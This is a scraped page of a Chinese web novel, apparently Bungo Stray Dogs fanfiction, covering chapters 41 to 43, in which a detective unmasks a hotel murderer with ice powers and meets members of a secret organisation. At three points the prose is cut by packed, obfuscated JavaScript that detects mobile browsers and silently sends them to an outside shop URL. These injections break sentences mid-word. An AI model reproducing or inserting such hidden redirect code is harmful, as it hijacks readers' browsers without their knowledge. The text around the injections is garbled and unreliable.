;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254198|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到高桥樱子要走这边的楼梯,她快速跑到上一层躲起来,在高桥樱子下了楼梯后,又悄悄跟上。 一直跟到一楼,她看到高桥樱子捡起了那个棒球棍,又慢斯条理地在餐厅用餐。 “……” 星野凛打了个哈欠,转身回房间了,在爬到第六楼的时候,她捶了捶自己的小腿。 她今晚来来回回爬了多少次了? 数不清了,越数头越疼。 在回到房间后,她忍不住眯了一会。 但没睡太久,她看了下墙上的挂钟,4:30了。 高桥樱子很明显是想杀了井上雄的,她得出去看看井上雄的情况。 房间里的隔音很好,一旦把门给关上,什么声音都能隔绝在外,想要听见声音除非给门留一道缝。 星野凛关上房门,来到井上雄的房门前,门没关严实,能听到高桥樱子和另一个人的争吵声。 “这件事我可以一个人解决,既然我把他杀了,就一定会想办法摆脱嫌疑的。” “解决?你能解决什么?我让你小心一点,结果你还是把井上雄杀了,你到底还记不记得这次的任务是什么?!是杀千叶会社的大小姐千叶清香,而不是杀一些小混混,你公报私仇也得有个度吧?” 什么??井上雄被杀了?可恶,早知道她就忍住不睡了,短短三个小时,高桥樱子又完成了一起凶杀案。 意识到这一点后,星野凛靠着墙壁缓缓下滑,好像从她来到这个酒店开始,一直在被推着走,没有一次是她主导的。 要是让人知道武装侦探社的社员连这么小的案子都解决不了的话,她还有什么脸面回侦探社啊…… “千叶清香我会杀的,不用你提醒我,你只需要在明天配合我,给我做不在场证明就行了。” “我要是不配合呢?你每次都这样,自己随心所欲闯祸,到头来却要我来帮你收拾烂摊子,我真是受够了!” “黑泽先生,你别忘了,当初是我引荐你加入组织的,你年龄又大,又没有异能,如果没有我,你能在这弱肉强食的里世界活多久?别不知感恩。” “你是引荐了我没错,但你根本不是在帮我,你只是想给自己找一条好使唤的狗罢了。我没有异能,在组织里被人排挤,你假装看不见,天天给我洗脑,让我产生了不敢离开组织的想法,但现在我清醒过来了,我有手有脚的,即使逃离了组织,做个普通人,找一份普通的工作,也没什么不好。” “你还真是天真啊,像你这么好使唤的廉价劳动力,组织是不会轻易放你离开的,你就死了这条心吧,明天乖乖帮我做不在场证明,别想着反抗,你也就这点用处了。” “但你也离不开我这个廉价劳动力不是吗?你看不起我,又离不开我,现在应该是你在求我,而不是我求你。” “谁求谁还不一定呢。” 高桥樱子向他伸出手:“异能力【冰息操控】——” 刹那间,黑泽的下半身被冻住了。 高桥樱子笑眯眯的:“好了,快点来求我吧,说不定我心情一好,就帮你解冻了。” 星野凛躲在门外,听到高桥樱子使用异能的声音,果然是能操控冰的异能者。 她没注意到,装在上衣口袋里的手枪慢慢地掉到了地上。 发出清脆的声响,在落针可闻的楼道里显得格外刺耳。 “谁在外面?” 糟糕,被发现了! 41.第 41 章 突然,一只手从后面把她拽进了房间里,星野凛还没反应过来,水泽莲音就已经把门反锁了。 “好险,凛酱也太不小心了吧,没有我可就被发现了。” 这家伙到底偷听了多久,又知道了多少? 星野凛随便找了个墙壁,倚着坐下:“说吧,什么时候开始偷听的?” “也没有很久,我失眠睡不着,本来想去餐厅找点吃的,结果被隔壁房间的声音吸引了,站在刚才凛酱站过的位置上偷听,听了一会觉得无聊就回房间了,没想到凛酱也来偷听了。” 看样子是在她睡着的时候就跑去偷听了,和她完全是错开的。 “房间的隔音那么好,你是故意留了一条缝吗?” 水泽莲音坐在床上,裹紧被子:“不是,我只是没关严实而已,话说凛酱为什么会在井上的房门口偷听啊?” “闲得无聊不行吗?你不是已经知道井上死亡的消息了吗?居然还用一副无所谓的语气质问我,当初是谁揽下这起案子的?又是谁信誓旦旦地说什么‘没有我们两个就没人能解决了’这种话?” “但事情已经发生了,我没办法去改变什么。“水泽莲音打了个喷嚏,观察着星野凛的神色,找补道:“哎呀,我这个人一腔热血,喜欢口嗨,根本没能力阻止这种事情。” “你也知道高桥樱子是异能者了吧?我一个手无缚鸡之力的普通人怎么可能阻止得了她,所以,这件事真的不能怪我袖手旁观。” 星野凛觉得头在隐隐作痛,“你明明可以把我叫醒的,把我叫醒,说不定井上就不会死。” 水泽莲音的行为她不想多做评价,她本来就没有多信任这个人,不然也不会选择一个人行动了,说不定水泽莲音还是组织的人呢,没什么同理心,一直跟着她看热闹,还一直在监视她。 她只是觉得水泽莲音对生命的漠视,感到不爽罢了。 “我完全没想到,不过凛酱不觉得震惊吗?高桥樱子是异能者诶,看着文文弱弱的一个人,却有着这么厉害的异能,太有反差感了吧。” “……” 星野凛白了她一眼:“你是没见过异能者吗?这有什么好震惊的,现在的重点是该怎么办?是要继续装傻,趁高桥樱子放松警惕的时候抓住她,还是直接过去抓住她?” “这两点有区别吗?凛酱说的等高桥樱子放松警惕要等到什么时候?” 星野凛指了指窗户外面:“当然是等到天亮了之后,不可能等一天或两天的。” 一到两天时间太长了,她完全有实力打得过高桥樱子,只是不想那么快出手,万一打草惊蛇就得不偿失了。 刚才她差点暴露,高桥樱子肯定起了防备心,万一把人逼急了,想不开把自己冻成了冰雕,或者自杀……这些都不是她想看到的结局。 水泽莲音的房间里没有挂钟,手表落在侦探社的员工宿舍了,星野凛只能依靠窗外的天色来判断时间。 这几天一直下暴雪,天上的云层像厚重的棉被一样,堆积在天上,一动不动。好在今天的雪比之前小了,厚重的云层消失不见了,只剩下几片稀薄的云彩,雾蒙蒙的天空多了几分清亮,能分辨得出白天和黑夜。 不像暴雪肆虐的时候,不管白天还是黑夜,都阴沉得可怕,让人分不清昼夜。 水泽莲音走到窗户前,“好想下去堆雪人啊,等天亮了,我一定要下去堆雪人。” “不行,等天亮了先去找高桥樱子,你把堆雪人排在第一位,很难不让人怀疑你是高桥樱子的同伙,故意拖延时间。” 水泽莲音擦了擦鼻涕说:“我才不是高桥樱子的同伙!凛酱不要污蔑我。” “那就证明给我看吧,高桥樱子由你引过来,我负责抓住她,至于那个黑泽,我已经知道是谁了,黑泽没有异能,晚一点抓也没关系。” 水泽莲音指了指自己:“啊?我吗?你让我去引高桥樱子?” 让这家伙去,正好试探一下这家伙的实力。 “你到时候就和高桥樱子说,我可以帮她复仇,还能帮她隐瞒,让她来井上的房间找我就行。” “这样做会不会太冒险了?万一高桥樱子不相信怎么办?” 星野凛露出半月眼:“哪有那么多万一,让你传个话怎么这么难。” “我主要是怕高桥樱子不相信把我灭口了怎么办?” “我会好好安葬你的,你就放心去吧。” 水泽莲音:“诶???” * 现在是东京时间,早上6:20。 星野凛在井上雄的房间里,此刻,正站在窗前,一边在心里默数雪花,一边等高桥樱子过来。 就在三分钟前,她让水泽莲音去把高桥樱子引过来,水泽莲音还磨磨蹭蹭不想去,她硬是花了五分钟才把那家伙说服。 她给窗户开了一条缝,有新鲜的空气进来,使屋内的血腥味没那么重了。 井上雄的死法很凄惨,是被折磨死的,身上有很多血痕,浑身上下没有一块好皮,死后还被冻成了冰雕。 她之所以让水泽莲音传话说自己会帮高桥樱子报仇,是因为她猜测被千叶清香扣除了半年工资的人,不是水野里子的妈妈,而是高桥樱子的妈妈。 高桥樱子口中关于水野一家的描述,应该是在描述自己的家,真实情况说不定比高桥樱子自己所描述的还要糟糕。 “凛酱,我把人带过来了。” 这时,水泽莲音推门而入,肩膀上还扛着晕过去的高桥樱子。 “你对她做了什么?不会把人给杀了吧?” 星野凛从水泽莲音的手中接过高桥樱子。 水泽莲音活动了一下肩膀:“?我才没有杀她,我只是嫌她太吵,不肯配合,把她打晕了而已。” "……" 星野凛把高桥樱子放到床上:“你明明有能力,居然还怕自己被高桥樱子反杀。” 水泽莲音这是连装都不想装了吗?能把高桥樱子给打晕,和普通人根本不沾边了。 现在更是明晃晃地告诉她,自己不是普通人了。 水泽莲音毫无形象地瘫在地上:“意外,纯属意外,我没想到高桥樱子这么弱不禁风,一打就晕过去了。” 真会装,左右脑互搏吗?一边暗示自己不是普通人,一边又继续装普通人。 星野凛懒得拆穿,她拿起台灯旁的矿泉水,拧开瓶盖,把水全部泼到高桥樱子的脸上。 高桥樱子猛地睁开眼,坐起来忍不住剧烈咳嗦。 星野凛把用完了的矿泉水瓶子扔到地上,等高桥樱子咳嗽完才问她,直击重点:“你的杀人动机是什么?” 高桥樱子又重新躺了回去,缓缓开口:“五年前,我妈妈在千叶会社旗下的珠宝店里工作,和水野里子的妈妈一起推销珠宝,我妈妈性格爽朗,和谁都能打成一片,水野里子的妈妈性格木讷,不会说场面话,客人都不想让她推销珠宝,久而久之,她的业绩一塌糊涂,而我妈妈成了店里的销冠。” “她对我妈妈心生忮忌,在千叶清香来珠宝店视察的时候,故意把店里的镇店之宝藏到我妈妈的储物柜里,再谎称镇店之宝不见了,去翻储物柜,于是,我妈妈就在众目睽睽之下被迫成为了小偷,千叶清香不仅扣除了我妈妈所有的工资,还辞退了我妈妈。” 星野凛开口道:“那你是怎么确定这件事,一定是水野里子的妈妈做的?还是说,你妈妈知道了是谁陷害她,但她选择不说?” 高桥樱子露出一个苍白的笑容:“对,我妈妈在被辞退的当天就知道是谁陷害了她,但她没有选择澄清,也没有开口解释,她知道,澄清和解释没有用,人们只会相信自己想相信的。当时家里欠了很多债,我还偷偷翘课出来做兼职帮忙还债,被妈妈发现后,只能偷偷去,妈妈还说我的任务是学习,钱的事她会想办法。” 水泽莲音从地上起来,举手道:“我有个疑问,你爸爸是去世了吗?为什么全靠妈妈一个人还债?” “爸爸自从赌博输了后,生了一场大病,半身不遂,日常起居都靠我和妈妈照顾他,他站都站不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原来当时没杀千叶清香是这个原因,她还以为她和千叶清香认识,甚至怀疑过她们是一伙的。 回想一下高桥樱子的话,她家所有的悲剧难道不是她爸一手酿成的吗?如果她爸没有去赌博,就不会欠下一屁股债,她妈妈即使被辞退了,也不会被前来要债的坂本和井上打死,说白了,帮人要债,也只是拿钱办事罢了。 但她爸都死了,也不好多说什么了,也算是自食恶果了。 看着外面还在飘飞的雪花,星野凛悄悄开启异能,掠夺了【人间失格】,碰了下高桥樱子的手,再看向窗外,雪并没有停。 高桥樱子不明所以:“怎么了?我的手上有脏东西吗?” 奇怪了,高桥樱子不是能操控冰的异能者吗?怎么一点反应也没有?她还以为外面那场雪是高桥樱子的杰作。 星野凛忽然想到了什么,对水泽莲音说:“我们来玩掰手腕的游戏吧,看看谁的力气更大。” 其实她有点忐忑,万一水泽莲音不是组织的人或者做了异能强化手术怎么办?前者好解决,后者就有点难办了,做了异能强化手术的人,根本不怕【人间失格】,简直是行走的bug。 水泽莲音摩拳擦掌:“好啊,凛酱等会输了,可千万不要哭鼻子。” 算了,只能赌一把了,她催促道:“不要磨叽,快点伸手。” “知道了知道了,不要催。” 在星野凛的手触碰到水泽莲音的掌心时,有那么一瞬间,被无限放慢拉长,时间仿佛静止了,在她们的手心中迸发出了一道巨大的耀眼蓝光,很快,外面的暴雪不见了,取而代之的是风和日丽的大晴天。 星野凛松开了手,看着窗外的景象,怔忡道:“还真是你,我猜得没错……” “哦,原来凛酱在测试这个啊,外面那场大雪确实是我干的。 ” 水泽莲音无所谓地收回手:“正好,我也不用隐藏身份了,重新介绍一下,我是月亮海暗杀部的猎杀队队长,水泽莲音。” 等等?原来组织的名字叫月亮海?! 水泽莲音看向星野凛的身后:“我都自爆身份了,千礼酱也该现身了吧?” “给我闭嘴,好吵。” 星野凛听到身后传来一道熟悉的声音,迅速退到一边,她看见了当时只存在于记忆中的女人。 女人有着一头深蓝色的披肩长发,浅蓝色的眼睛,像清澈的水镜一般,倒映出她错愕的神情。 “凛,好久不见。” 星野凛:是深川,还是活着的深川!!! 42.第 42 章 星野凛有很多想问的,可话到嘴边又不知道该怎么开口。 深川千礼看出了她的犹豫,打完招呼后一直沉默不语。 “喂,你们两个什么情况啊,这时候不应该抱在一起,上演一出姐妹情深的戏码吗?” 水泽莲音站在她们两个中间吐槽道。 星野凛把矛头指向水泽莲音:“你这家伙不打算解释一下暴雪的事吗?还玩这种隐瞒身份的游戏,真是太无聊了。” 与其说水泽莲音在隐藏身份,不如说她从一开始就没打算好好地隐瞒自己的身份,刻意地接近她,拙劣地监视她,又故意暴露很多自我矛盾的点。 好让她有所怀疑,这一切只是因为水泽这家伙,喜欢玩这种无聊的游戏,趁她没有记忆疯狂展现自己的表演欲,想看她露出疑惑的表情,说白了,完全是这家伙的恶趣味而已。 “我没有在玩游戏,实不相瞒,我这次来是有任务的,首领让我找到千礼酱,并把她带回去。” 水泽莲音说完,又开始控诉深川千礼:“千礼酱一天换八百个地方,我一路跟着,差点没累死,我下这场雪就是为了困住千礼酱,只是没想到凛酱也来这个酒店了,都是缘分啊。” “顺便提醒一下,千礼酱的异能是【透明】,遇到攻击时身体会变得透明虚化,自动隐身,被她触碰过的物品也会跟着一起变成透明的状态,随时实地消失,没有任何限制,来无影去无踪,最重要的是,千礼酱的异能有bug,即使做过异能强化手术,改造了异能的人,也拿千礼酱的异能没办法。” 和谷崎的【细雪】很像,不过,深川千礼的异能这么厉害的吗?西莉娅那家伙还真会说谎,把深川千礼的情况说得那么糟糕,她还以为深川千礼真的出事了。 星野凛看向水泽莲音:“你嘴上说着下这场雪是为了困住深川千礼,但你都说了,即使做过异能强化手术的人都拿她没办法,更何况你还没做过异能强化手术,你根本困不住她,你最好说实话。” 水泽莲音:“好吧好吧,我说实话,我确实困不住千礼酱,我下这场雪是为了满足自己,我已经有半年没下这么大的雪了,好不容易出来一次,当然要好好玩了。” 星野凛:“……” 等等,她好像想起了什么,既然深川千礼的异能可以隐身,是不是说明当时在电梯里遇到的不是鬼,也不是幻觉,而是深川千礼? 这么想着,星野凛得出了一个结论,瞪大了眼睛:“你该不会从我进入这个酒店的那一刻,就一直跟在我旁边吧?” 深川千礼点点头:“对,我本来打算去找你,没想到你刚好来这家酒店了。” 神明大人啊,这也太巧了吧,她只是随便找了个酒店休息,没想到惹出一连串的事件,好倒霉…… 星野凛避重就轻转移话题,问水泽莲音:“对了,你的异能是操控雪吗?还是那种能操控冰雪的异能?” 水泽莲音矜傲地昂起头:“都不是,我的异能还要更厉害点,我是水系异能者,没想到吧?能操控任何形态的水,无论是固体的,气体的,还是液体的都不在话下,下一场雪算什么,对我来说都是小儿科。” 星野凛忍不住给她泼冷水:“但你没做异能强化手术,再厉害也不如我的异能厉害。” 水泽莲音幽怨道:“所以说凛酱和千礼酱才是姐妹啊,你们两个人都是行走的bug。” “那个,如果没有别的事,我就先走了。” 被忽略的高桥樱子开口道。 都怪水泽莲音搞这一出,非让深川千礼现身,她由于太震惊,都快把高桥樱子给忘了。 “不行,你杀了坂本和井上,得去自首才行。” “还是没有逃过这一劫啊,我可以去自首,但你必须让黑泽和我一起自首,他帮了我,是帮凶,你不能放过他。” “我忘记和你说了,黑泽就是目黑,真正的目黑被他杀了,他顶替目黑的身份成为了大堂经理,是为了给我打掩护,这次的任务是刺杀千叶清香,那个蠢货不想完成任务,现在说不定正计划逃跑呢。” 和她猜得一样,在门口听墙角的时候,就觉得男声很耳熟,一直想不起来是谁,但仔细一想,多次帮助过高桥樱子,给高桥樱子打掩护,行为可疑的人只有目黑了。 “我可以答应你,只不过我有一点很疑惑,黑泽不是真的目黑,那为什么酒店的工作人员没有发现他?难道他戴了人皮面具?” “他没有戴人皮面具,是因为组织有一个能随意夺取别人样貌的异能者,在来之前,我们就计划好让黑泽顶替目黑了,这种换脸的异能很持.久,且没有时间限制,正好可以利用大堂经理的身份帮我做不在场证明,替我辩护。” “原来如此。” “你们快看,供电恢复了!” 水泽莲音像是发现了新奇事物的小孩子,对墙上的灯泡开关爱不释手,开了又关,关了又开。 其余三人把目光移向忽明忽灭的灯泡:“……” “要不是你这家伙乱开异能,根本不会停电,不要表现得那么无辜好吗?” 星野凛走过去,按住水泽莲音乱按开关的右手:“等会灯泡要是坏了,就由你来赔偿,可千万别牵扯我们。” 水泽莲音挤出几滴眼泪:“呜呜呜我感觉自己有一百年没见过光了,这几天像躲在阴沟里的老鼠一样,突然见到这么明亮的东西,觉得特别不真实,早知道只在千礼酱的头上下雪了,害我过得这么惨。” 星野凛看深川千礼不说话,忍不住替她回怼:“你自作自受,别把锅甩到别人身上。” “一会我们分头行动,我先去找黑泽,你们带高桥樱子去一楼大厅等我,我们在一楼大厅集合,都听明白了吗?” “明白。那个,有件事在我心中憋了好久了,实在是憋不住了,凛酱失忆后也太正常了吧,无论是说话的语气还是气质,和之前完全不一样诶。” 星野凛头冒井号:“?你什么意思,什么叫我太‘正常’了,我之前在你心中到底是个什么形象啊?” 水泽莲音如数家珍道:“工作狂,杀人不眨眼的刽子手,不解风情又冷淡的钢铁直女。” 星野凛:“……” 沉默半晌的深川千礼开口道:“你去吧,我会帮你看好人的。” 星野凛走出井上的房间,去216,也就是高桥樱子的房间找找看,黑泽是想离开组织的,但受制于高桥樱子,不敢离开,现在高桥樱子又被她抓住了,黑泽肯定想趁这个机会离开这里,摆脱组织和高桥樱子的控制。 她不确定黑泽在不在216,去216就是想碰碰运气,但她一向没什么好运气,只能赌一把了。 星野凛一路小跑,顺着楼梯来到了八楼,谁料,刚到八楼就和背着包的黑泽遇上了。 她眼疾手快地抓住了要逃跑的黑泽,用力挥拳把他打晕,随后扛着黑泽去一楼。 既然恢复了供电,她又不赶时间,还是乘坐电梯好了,这么想着,她来到八楼电梯口,花了不到五分钟的时间就来到了一楼大厅,远远地看见水泽莲音她们在餐厅吃东西。 “……” 她辛辛苦苦抓人,而她们居然在吃东西,她从昨晚到现在只吃了一块面包,还是为了抓凶手才吃的,她还是太老实了,总是被水泽莲音这种好吃懒做的人欺负。 星野凛把黑泽放到前台旁,牧野一脸茫然地看着她:“目黑先生这是怎么了?身体不舒服吗?” 木下小声在牧野耳边说:“不会是死了吧……” “别乱说,目黑先生可能只是太累了,人劳累过度是会不管不顾的,所以才会这么不顾形象地睡在地上。” “我能借一下你的手机吗?” 牧野把自己的手机递给她:“可以,请用。” “谢谢。” 星野凛拨通了警方的电话,把酒店的情况大致说了一下,听到警察说马上赶到后,把通话挂断了。 星野凛打完电话,才想起牧野的话:“放心,他没死,只是晕过去了,具体的一会让警察听完高桥樱子的话再给你解释吧。哦,对了,帮我看好他,他要是醒来偷偷跑了,一定要告诉我。” 牧野机械地点头:“好的,我们一定会看好他的。” 星野凛刚挪动脚步就听见身后传来牧野和木下窃窃私语的议论声。 “你说目黑先生不会是凶手吧?不然为什么让我们看住他,还让警察来给我们解释?” “不清楚,不过目黑先生确实有点可疑。” 再后面的星野凛没听到,她已经来到餐厅了,“喂,我说你们也太悠闲了吧,还有心情吃东西。” 高桥樱子说:“毕竟这是我在外面的最后一餐了,不吃我会后悔的。” 星野凛看着大快朵颐的水泽莲音,嫌弃道:“人家是在吃最后一餐,那你呢?你又不用去自首,吃这么多干嘛?” “我饿啊,饿了当然要吃饭,千礼酱不也吃了吗?凛酱为什么不说她?” “你管我,我讨厌吃饭不文明的人不行吗?” “随便。对了,千礼酱有话要和你单独说,她在后面,你去找她吧。” 水泽莲音指了指餐厅的最后一排座位。 “我知道了。” 星野凛去后面找深川千礼,在她旁边的位置坐下:“你要和我说什么?” 深川千礼咽下口中的食物,喝了口橙汁说:“你现在的记忆恢复多少了?” “百分之0.5,和没恢复一样,我的记忆到底是怎么丢失的?” “你体质特殊,又没有定期接受手术,只要脱离月亮海超过一个月,就会丧失在月亮海的记忆,这是首领特地给你下的限制,但不是所有接受了手术的人都会变成你这样,换句话说就算首领不给你下限制,你还是会慢慢遗忘掉在月亮海的一切的。” “你的体质并不适合接受手术,但首领却一意孤行,认为你很适合接受手术。手术结束后,不仅比别人多了个脱离月亮海就会失忆的限制,还要承受比别人难以忍受的副作用。总而言之,首领在给你进行手术时,一共对你下了两个限制,一个是脱离月亮海自动清空记忆的限制,还有一个是脱离月亮海自动封锁异能的限制,所以你没冲破异能封印之前,和没有异能的普通人一样。” 星野凛问:“那我冲破了异能封印,首领是不是已经察觉到了?” “目前看来是察觉到了,首领派水泽莲音把我带回去,是想对我下手,让这场赌约作废,让我们输得一塌糊涂。” 赌约?失忆真是一件麻烦的事啊,她完全不记得有这回事。 星野凛双手抱头:“什么赌约?我现在脑子好乱,你最好一口气都说出来,不然等你被抓回去,我还得亲自去了解真相。” 深川千礼看着她说:“这个赌约还是你和首领定下的,你厌倦了在月亮海的生活,想带我逃离月亮海,首领自然不同意,因为我们还有利用价值,首领不想轻易放过我们,于是,你立下赌约,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282315|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果我们能在一年之内找到【书】,就放过我们自由,如果在一年之内没找到,就要被抓回月亮海,利用我们的体质自我献祭,让【书】重新面世,再彻底牺牲我们,补全【书】缺失的部分。” 星野凛感觉自己的大脑发出了嗡鸣,她听到了什么?那个被各国组织觊觎已久的【书】,还和她们有关系? “赌注是我们的命和自由,现在离赌约结束只剩下三个月了,三个月后,我们没有如期找到【书】的话,可能会死在改造手术的副作用下,或者被首领杀死。首领知道你会失忆拖累我们的进度,才会毫不犹豫答应这个赌约,你之前是不是已经见过月亮海的那些人了?是不是在疑惑她们为什么不杀你?” “因为她们是烟雾弹,故意跑出来给你使绊子,各种针对你,但就是不杀你,目的只是为了干扰你,同时,首领在背地里已经安排好一批人寻找【书】了,一旦被她们先一步找到,我们会输得很惨,这是一场拼速度和智慧的博弈,也是一场赌局。” 合着那帮家伙跳出来阻挠是因为这个啊,她还以为她们是闲着没事干呢。 尤其是西莉娅,骂了她那么多句叛徒,恐怕还不知道首领的计划是什么吧,一味地听从首领的命令,趁她失忆,故意说那么多贬低她的话,是想让她动摇,陷入无尽的自我怀疑中。 深川千礼:“我们从月亮海出来后就走散了,当时首领派了一支精英小队追杀我们,当然,这也是赌约的一部分,我们只要成功逃脱精英小队的追杀,赌约才会彻底生效,我这几个月一边找你,一边找【书】,现在找到你了,【书】的具体信息却一无所获。” 星野凛叹气道:“她们找到了,我们输,我们没找到,还是我们输,这个赌局对我们来说一点也不公平,我们已经浪费太多时间了,我不觉得我们能在这么短的时间内找到【书】。” 中岛敦被高价悬赏就是因为【书】,【书】在里世界可谓是无人不知,无人不晓,各方势力赶往横滨,拼得你死我活,血流成河,都是为了【书】。 她当然明白【书】对一个人的诱惑有多大,正是因为明白,才不想让首领得到【书】,首领一旦得到了,迎接里世界的将会是无休止的灾难与噩梦。 星野凛和她对上视线:“接下来你打算怎么办?” 深川千礼一口气把杯子里的橙汁喝完,说:“我先和水泽莲音回月亮海,你继续待在横滨等我的消息,想办法恢复记忆,同时,在背地里偷偷寻找【书】的下落。” “水泽莲音这个人可信任吗?你和她回去真的没问题吗?你这次一旦回去了,恐怕再也出不来了。你真的想好了吗?” 深川千礼从座位上站了起来:“我想好了,要是出不来,我就当人质给你拖延时间,我这次和水泽莲音回去没有你想得那么简单,还有别的原因,现在还不能和你说,总之,你先按照我说的行动,等我的消息就行。” 见深川千礼这么决绝,星野凛也不好说什么,只能压下满腹的疑问和担忧。 “这个给你,我会通过这个联络你,给你发消息。” 水泽莲音递给星野凛一部迷你款的手机。 星野凛心情复杂地接过:“我知道了,你现在就和水泽莲音走吗?” “没错,我会每隔三四天给你发消息的,不用牵挂我这边。” 深川千礼刚说完,水泽莲音就走到了她们面前,“该走了吧?凛酱,我们走了,你可不要哭鼻子哦。” “你好烦,我才不会哭。” 星野凛把头转到一边。 她没看到高桥樱子的身影,问水泽莲音:“对了,高桥樱子呢?你不在旁边看着她,万一她跑了怎么办?” “在你和千礼酱说话的时候,我怕她乱跑,就让把她带到了前台,让牧野看着她,你居然没有发现吗?” “完全没有。” 水泽莲音:“……” 星野凛跟着她们走出酒店,水泽莲音把停放在停车场的车开过来,深川千礼坐上副驾驶,她把车窗降下来,对星野凛说:“照顾好自己,我们走了。” 水泽莲音按了一声车喇叭,笑着说:“我们真的要走了哦,凛酱有什么要说的快点说吧,不然我们回去可没有那么多时间给你打电话。” 星野凛呼出一口气:“祝你们一路顺风。” “OK,我们走了,不用再送了。” 水泽莲音不知从哪掏出一个墨镜,挂在额头上,说完话后把墨镜戴到眼睛上,轻踩油门,扬长而去,只留下一片汽车尾气。 直到彻底看不见她们的车影,她才转身回酒店,刚走没几步,警车发出的警笛声从远及近传进了她的耳朵里。 是警察,星野凛回头看,只见从一辆警车上下来一个熟悉的身影。 “村上警官,你怎么来了?” 这里离横滨那么远,村上警官怎么过来了? 村上警官顶着厚重的黑眼圈说:“这个还是让太宰先生给你解释吧。” ?太宰那家伙怎么也来了? 话音刚落,太宰迈着轻巧的步伐,从警车上下来,双手插.进风衣的口袋里,脸上挂着漫不经心的笑意:“呀,几天没见,凛酱还真是厉害啊,独自解决了这么大的案子,不愧是凛酱,总是能给我带来新的惊喜。” 真的是太宰,活生生的太宰,现在就站在她面前。 没觉得自己变厉害的星野凛:“……” 这混蛋还是一如既往地喜欢捧杀她。 43.第 43 章 星野凛没理太宰,看向村上警官:“这次的案件稍微有点复杂,里面牵扯的人比较多,具体的村上警官还是去问当事人比较好。” 牵扯到了月亮海,无论怎么样都不能让警方知道,水泽莲音在走之前悄悄给高桥樱子打了失去特定记忆的针,所以这也是为什么她们说话的时候,不避讳高桥樱子的原因。 已经过去一个小时了,药效应该发作了。 这里相对来说比较偏僻,却偏偏开了一家豪华的酒店,酒店的位置在卫星系统上也好定位,太宰能找到这里来,肯定是因为那个卫星电话,里面有定位器,太宰顺着定位器显示的位置一路来到了这里。 就算没有定位器,乱步先生也能推理出她在哪里。至于为什么来的会是村上警官,星野凛不是很清楚,只能大致猜一下。 太宰提前预判了她会报警,他和村上警官在当地警察赶到之前,和他们协商好,让村上警官负责这个案件,他再跟着警车一起过来。 当然了,这只是她的猜测。具体的她并不清楚,村上警官让她问太宰,她才不问那家伙呢。 村上警官点点头:“辛苦星野小姐了,犯人现在还在里面吗?” “在前台那里,一个主犯,一个帮凶,一女一男,两个人,女的叫高桥樱子,男的叫黑泽,只知道姓氏,不知道全名。” 星野凛说完,补充道:“需要我带村上警官进去吗?” “麻烦星野小姐了。” 村上警官对身后的警员说:“一队跟我进去,二队在外面接应。” 警员们异口同声回答道:“是!” 星野凛和村上警官进去了,除了刚看到太宰时有些惊讶之外,后面没分给他一个眼神。 看着星野凛的背影,太宰觉得好像又有什么东西,不受他控制,在他身边悄无声息地溜走了,疑惑、迷茫、无措,上一次有这种情绪的时候还是她离开侦探社的那天。 太宰在原地呆愣了一会,随即把多余的情绪隐藏起来,缓步走进酒店。 星野凛看着倒地的黑泽,有些头疼,当初为了防止他逃跑,特意把他打晕的,真是搬起石头砸自己的脚啊。 高桥樱子踢了一脚黑泽:“我希望警官能把我所处的组织也一并抓获,组织常年干一些违法的买卖,甚至比mafia还黑,我可不想让那群人好过。” 村上警官:“我会仔细考虑的,高桥小姐还是说一下自己的作案过程和动机吧。” 高桥樱子看了一眼星野凛:“你没和警官说吗?再复述一遍可是很累很麻烦的。” 星野凛无辜摊手:“拜托,那可是你自己做过的事,干嘛让别人来复述,你自己也知道复述起来很累很麻烦,我为什么要帮你再复述一遍?” 高桥樱子:“……” “村上警官,这两个人就交给你了,后续如果有什么问题可以给我打电话。” “星野小姐不和我们一起走吗?” “不了,我还有事,就不麻烦村上警官了。” 开玩笑,这起案件又不是她特意接的,她忙活了这么多天连酬劳都没有,现在不走,一会跟着回警察署,麻烦事会更多。 她本就不觉得自己是多么正直,多么善良的人,起初接那么多案子也只是想在破案过程中遇到月亮海的人,好恢复记忆,除此之外,还有一个重要原因是有酬劳,现在又没酬劳,对她恢复记忆也没什么帮助,她才不要当冤大头呢。 星野凛走楼梯回到了自己的房间,简单地把东西收拾好了,她坐在床边,看着深川千礼送给她的迷你款手机发呆。 也不知道深川千礼那边的情况怎么样了,现在应该坐上回月亮海的飞机了吧。 星野凛解锁手机,里面只有深川千礼一个联系人,她犹豫半天还是决定给对方发消息。 【你那边还顺利吗?】 等了几分钟无人回应,应该还在飞机上,星野凛摁灭手机屏幕,把手机装到行李箱的暗层里。 随后拉上行李箱的拉链,拿着房间钥匙,走出房门。 她已经提前和前台说好自己要退房了,因此只需要把钥匙还给对方就行。 因为前几天的暴雪,酒店为了赔偿住户,把这几天的房费全免了,水泽那家伙也算是误打误撞做了件好事吧,尽管这个好事并没有多好。 星野凛来到前台的时候,村上警官已经把高桥樱子和黑泽带回警察署了,只剩下几个警员在做善后工作。 木下接过星野凛递来的钥匙:“祝您一路顺风,对了,有位先生让我替他向您传话,说他在外面等您。” “谢谢,我知道了。” 星野凛走出酒店大门,在不远处看到了故作忧郁的太宰。 